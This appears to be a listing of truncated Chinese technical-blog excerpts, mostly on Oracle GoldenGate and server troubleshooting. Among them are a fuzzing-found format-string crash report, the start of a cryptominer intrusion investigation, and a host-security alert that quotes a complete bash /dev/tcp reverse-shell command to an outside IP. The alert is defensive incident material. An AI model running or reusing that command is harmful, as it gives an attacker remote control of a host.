1.问题现象抽取进程常常running,但是没有新产生trail文件,lag比较大 GGSCI (xxxdb) > info all Program Status Group Lag at Chkpt Time Since Chkpt MANAGER RUNNING EXTRACT RUNNING EXT1 :: :: EXTRACT RUNNING PUMP1 :: :: GGSCI (xxxdb) > GGSCI (xxxdb) > info EXT1,showch EXTRACT…

1.1现象 之前有个客户遇到一个问题,OGG同步数据链路,突然有一天网络出现问题,导致OGG投递进程无法正常投递,无法写入目标端的该文件. 猜测是由于网络丢包等原因导致文件损坏,无法正常open,read,write. 解决方法,投递进程etrollover. 本篇文档是基于这种方式测试下etrollover [测试没有完美还原网络的问题,只是对其进行了测试] 1.2测试OGG进程restart与seqno有什么关系? 1)OGG 同步表及进程参数查看SQL> select * from dd;…

一.测试目标 疑问,OGG初始化同步表,源端抽取进程开始抽取的scn<源端事务的start_scn时,这个变化是否会同步到目标库中? 二.实验测试 如下进行测试! session 1 SQL> conn yz/yz SQL> create table t1(id int,cc_name varchar2(20)); SQL> insert into t1 values(1,'test'); 1 row created. OGG源端开始抽取t1表; GGSCI (t1 as ogg@…

-- :: INFO OGG- Positioning to (Thread ) Sequence , RBA , SCN 0.470706262. Source Context : SourceModule : [er.common] SourceID : [/scratch/aime1/adestore/views/aime1_adc4150256/oggcore/OpenSys/src/app/er/common.cpp] SourceFunction : [extract_start_p…

YS VTM模块存在格式化字符串漏洞,可导致VTM进程异常退出[高危] 问题描述: YS VTM模块开放对外监听端口(8554和8664),此次使用sulley fuzzing框架对监听在8664端口的私有二进制协议进行测试,以检测可能发生的各种问题.在该协议中,客户端会向8664端口发送一个二进制+文本格式的报文,对该报文格式的各个字段进行fuzzing,发现当向服务端的VTM进程传入格式化字符串时会崩溃并退出. 测试步骤: 1.  分别在客户机和服务器安装sulley fuzzing框架并为…

nginx在运行过程中是否稳定,是否有异常退出过?这里总结几项平时会用到的小技巧. 1. 在error.log中查看是否有signal项,如果有,看看signal是多少. 比如,这是一个异常退出的情况: $grep signal error.log 2012/12/24 16:39:56 [alert] 13661#0: worker process 13666 exited on signal 11 如果在进程退出后,有coredump文件产生,则会打出如下日志: $grep signal e…

请注意:请谨慎改动Oracle GoldenGate(ogg)各个进程的读检查点和写检查点. 请确保已经 掌握 ogg 各个进程的读检查点和写检查点的详细含义. BEGIN {NOW | yyyy-mm-dd[:hh:mi:[ss[.cccccc]]] | EOF | SEQNO <sequence number>} --改动抽取进程的開始抽取点:(即:myext的读检查点) alter extract myext BEGIN yyyy-mm-dd:hh:mi:ss alter extract…

日常运维过程中,可能发现OGG同步进程延迟很高: 本篇介绍其中的一种方式. OGG复制进程,或者说同步进程及通过解析ogg trail文件,输出dml语句,在目标库执行dml操作,那么延迟高可能性其一.执行dml操作效率太低. 本篇不考虑并发过高或其它原因. 本次只考虑是执行update or delete的时候SQL效率执行太差! 导致OGG复制进程延迟很高. GGSCI > info all Program Status Group Lag at Chkpt Time Since Chkpt…

https://www.cnblogs.com/lvcha001/p/13469500.html 接前序,本次场景中有索引,但是OGG复制进程使用了低效率的索引?  类似SQL使用低效索引,如何让Oracle使用好的索引,从而加快复制进程的效率呢? 疑问? Oracle为什么有好的索引,但是还是选择不好的索引,从而造成SQL效率低下,OGG复制进程缓慢呢? 本次DB版本11g,都是CBO,基于成本进行计算. 1.重新收集统计信息,让Oracle自动选择好的索引,走好的执行计划,从而让OGG复制进…

一.学习目标 有同事问OGG技术问题,OGG软件,在oracle数据库中,集成模式抽取进程REGISTER DATABASE,都做了什么操作? 有什么风险? 并且提到了一个抽取进程注册,在瞬时间并发占用了大量的进程process,并且当时某DB process剩余不足,最终导致DB的process占满,影响了DB系统! 那么带来一些疑问: 1) 集成模式抽取进程REGISTER DATABASE,做了哪些操作? 2) REGISTER DATABASE 会在数据库中产生大量的并发会话吗? 具体会…

这两天遇到一个非常诡异的问题,打算和大家分享一下.只所以诡异估计是自己知识面不够吧.线上的MHA一直没有开启自动切换,都是手动切换的,最近开启了自动切换以后,退出securecrt窗口以后发现监控进程异常自己退出了.报错日志如下: MHA版本:0.56 Checking the Status of the script.. OK Thu Jul :: - [info] OK. Thu Jul :: - [warning] shutdown_script is not defined. Thu J…

写一个Windows上的守护进程(2)单例 上一篇的日志类的实现里有个这: class Singleton<CLoggerImpl> 看名字便知其意--单例.这是一个单例模板类. 一个进程通常只有一个日志类实例,这很适合使用单例模式.那么如何设计一个好的单例呢? 通常我们在网上看到有这样的实现: class SingletonAA { public: static SingletonAA& get_instance_ref() { static SingletonAA _inst; r…

:first-child { margin-top: 0; } blockquote > :last-child { margin-bottom: 0; } img { border: 0; max-width: 100%; height: auto !important; margin: 2px 0; } table { border-collapse: collapse; border: 1px solid #bbbbbb; } td, th { padding: 4px 8px; bord…

环境描述: 1.节点描述 节点 IP 节点描述 11.6.76.221 GG 抽取端 / DG 节点,数据库版本号为 Oracle-11.2.0.3,与 11.6.76.222 组成 DataGuard. 11.6.76.222 DG 节点,数据库版本号为 Oracle-11.2.0.3,与 11.6.76.221 组成 DataGuard. 192.168.87.221 GG 复制端,数据库版本号为 Oracle-11.2.0.4 2.拓扑结构   方案描述: 假设 11.6.76.221 最…

一, 服务器快速搭建gitlab方法 可以参考gitlab中文社区 的教程centos7安装gitlab:https://www.gitlab.cc/downloads/#centos7centos6安装gitlab:https://www.gitlab.cc/downloads/#centos6如下方法按照官网来操作,手工安装过于麻烦.测试机器:阿里云centos6.8机器.1. 安装配置依赖项 如想使用Postfix来发送邮件,在安装期间请选择’Internet Site’. 您也可以用se…

OGG replicat 进程使用的 TCP port 来源于: TCP PORT USED BY REPLICAT PROCESSES (文档 ID 1060954.1) 适用于: Oracle GoldenGate - Version 10.4.0.12 and later Information in this document applies to any platform. ***Checked for relevance on 25-May-2012*** 症状: 若是一个客户基于少…

常情况下脚本执行时间几秒完成,如果超过很长时间执行完成,可能是进程等待某些资源引起阻塞(假死状态). 场景:xx.perl读取文件并发送邮件 现象:执行脚本的进程僵死(卡住) 排查:ps -ef |grep “perl xx.perl” 跟踪:strace -p 16634  (跟踪进程执行时的系统调用和所接收的信号(即它跟踪到一个进程产生的系统调用,包括参数.返回值.执行消耗的时间),卡在read(3,位置 查看进程文件描述符目录:查看3进行的是socket操作,也就是卡在通信. 使用nets…

进程异常行为-反弹Shell攻击 父进程名称:bash 进程名称:bash 进程名称:/usr/bin/bash 进程id:23,077 命令行参数:sh -c /bin/bash -i >& /dev/tcp/27.255.72.119/4451 0>&1 说明:黑客利用远程代码执行漏洞或者恶意木马向中控服务器建立反向TCP连接,连接建立后,黑客可利用该连接远程执行任意系统指令,严重危害主机安全. 解决方案:建议立即KILL该可疑反弹SHELL进程,并及时清理计划任务中的恶意…

1.首先看看什么是OGG,以及OGG的用途       简单的来讲 Oracle Golden Gate (简称OGG)是一种基于日志的结构化数据复制备份软件,它通过解析源数据库在线日志或归档日志获得数据的增量变化,再将这些变化应用到目标数据库,从而实现源数据库与目标数据库同步.OGG可以跨越不通平台(包括不通操作系统,数据库)实现大量数据亚秒一级的实时复制,从而在可以在应急系统.在线报表.实时数据仓库供应.交易跟踪.数据同步.集中/分发.容灾.数据库升级和移植.双业务中心等多个场景下应用.同时…

最近2周开始接手apache flink全链路监控数据的作业,包括指标统计,业务规则匹配等逻辑,计算结果实时写入elasticsearch. 昨天遇到生产环境有作业无法正常重启的问题,我负责对这个问题进行排查跟进. 第一步,基础排查 首先拿到jobmanager和taskmanager的日志,我从taskmanager日志中很快发现2个基础类型的报错,一个是npe,一个是索引找不到的异常 elasticsearch sinker在执行写入数据的前后提供回调接口让作业开发人员对异常或者成功写入进行…

Mysql作为一个常用数据库,在互联网系统应用很多.有些故障是其自身的bug,有些则不是,这里以前段时间遇到的问题举例. 问题 当时遇到的症状是这样的,我们的应用在线上测试环境,JMeter测试过程中,发现每次压力测试开始时访问低前几个http request请求会超时,而之后的请求持续测试中都不会.最后一点是Tomcat的log并没有报什么错误. 压测的内容就是起200线程不停的向这个http页面发送请求,这个页面逻辑也比较简单,会在后端向数据库插入一条数据,连接池采用阿里的Druid(这个坑…

1.故障现象描述 2.确认故障现象 3.排查ASM层面 4.解决问题 1.故障现象描述 环境:AIX 7.1 + Standalone Oracle 11.2.0.4 现象:客户反映某11g版本的ADG备库无法正常进行任何查询,数据库alert发现ORA-00494:enqueue [CF] held for too long (more than 900 seconds) by 'inst 1, osid 18875390'. 2.确认故障现象 登录到db实例,尝试查询select open_…

jvm内存增长问题排查 排查个jvm 内存占用持续增加的问题,纪录一下,引以为戒. 运维发现应用jvm内存占用在发布后回落,然后持续增高,,dump后分析一下: 占内存的大部分是这种名字相似的bean,哪里会产生这么多相同类产生的bean呢? 应用使用了动态语言groovy,请求走逻辑时,动态拿到脚本执行. 其中核心代码就是groovy脚本转成spring ioc 管理的bean,需要注入依赖其他bean: public <T> T getScriptedObject(String scrip…

出处:JAVA进程突然消失的原因? 问题描述 在实际生产环境下,如果我们遇见Java进程突然消失,该如何去排查问题? 思路 可能有几种原因: ①.Java应用程序的问题:发生OOM导致进程Crash 最常见的是发生堆内存异常“java.lang.OutOfMemoryError: Java heap space”,排查步骤如下: Step1: 查看JVM参数 -XX:+HeapDumpOnOutOfMemoryError 和 -XX:HeapDumpPath=*/java.hprof: Step…

代码处理逻辑: 代码流程: 1.首先需要创建一个实体 用来存储 相关信息 package com.sxd.test.unusualName; public class NameEntity { private String name;//姓名 private String num;//编号 private String rsNum;//RS号 private String disease;//疾病 private String rsInfo;//rs值 public NameEntity() {…

版权声明:本文由王亮原创文章,转载请注明出处: 文章原文链接:https://www.qcloud.com/community/article/214 来源:腾云阁 https://www.qcloud.com/community 现象 长期运营中发现部署了flume集群的磁盘满,经过排查发现flume的日志目录导致. 具体问题 具体看flume的大文件日志发现,某个MySQL相关的sink持续抛出异常,打印了大量的日志 分析过程 根据这个异常信息(exception)即:com.mysql.j…

今天来给大家分享下这两天遇到的一个问题,服务器被挖矿了,把我的排查记录分享下,希望能帮到有需要的同学. 问题原因 多台服务器持续告警CPU过高,服务器为K8s的应用节点,正常情况下CPU使用率都挺低的,通过排查是原因是被挖矿了,下面为定位过程 定位过程 登陆问题主机10.92.0.X,通过执行top命令查看资源使用情况如下 cpu使用率基本跑满(用户态),没有发现可疑的进程,初步怀疑可能是进程在哪里隐藏了 执行命令ps -aux --sort=-pcpu|head -10 嗯哼,藏得够深的,可还…

之前就知道timer进程长久运行容易出问题,所以一直对timer进行了很长一段时间的日志监控和数据库记录,大概观察了几个月,没发现过问题....然后就没管理了,数据库记录也没做了,昨天这问题就来了,timer是写在单利模式里面的,最近app要增加功能,重要的代码又需要写到单例的timer进程里, 嗯快速的搞好,本地测试完全没问题,上传,然后昨天心情畅快的跑出去耍了,回来就发现问题了,数据库里面需要自动处理的数据没处理, 然后又增加日志,数据库记录,发现个问题,日志不正常了,没有按照我timer设…

业务系统数据库夯住,数据库内大量的library cache: mutex X及latch: shared pool等待,alert日志信息如下 Tue Sep :: WARNING: inbound connection timed out (ORA-) Tue Sep :: WARNING: inbound connection timed out (ORA-) Tue Sep :: WARNING: inbound connection timed out (ORA-) Tue Sep :…

hadoop的日志目录(/home/hadoop/app/hadoop-2.6.4/logs) 1.hadoop启动不正常用浏览器访问namenode的50070端口,不正常,需要诊断问题出在哪里: a.在服务器的终端命令行使用jps查看相关进程 (namenode1个节点 datanode3个节点 secondary namenode1个节点) b.如果已经知道了启动失败的服务进程,进入到相关进程的日志目录下,查看日志,分析异常的原因 配置文件出错,saxparser exception: ―…